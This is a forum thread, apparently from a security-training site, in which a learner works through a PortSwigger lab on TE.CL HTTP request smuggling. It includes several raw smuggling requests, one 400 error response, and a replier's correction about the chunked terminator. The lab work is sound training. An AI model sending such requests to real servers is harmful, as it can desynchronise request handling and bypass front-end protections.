HTTP Request Smuggling

In PortSwigger HTTP Requset lab, i got to send this request twice in order to do a basic TE.CL attack

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

But there is also a note writen:

You need to include the trailing sequence \r\n\r\n following the final 0.

Where i should put these sequence?

After the final 0?

@clubby789 said:
After the final 0?

Like this?

POST / HTTP/1.1
Host: lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n\r\n

but the response is:

HTTP/1.1 400 Bad Request
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
Connection: close
Content-Length: 27
{“error”:“Invalid request”}

Rather like this:

POST / HTTP/1.1
Host: lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

Notice the two blank lines after the last 0, this is what they mean by \r\n\r\n.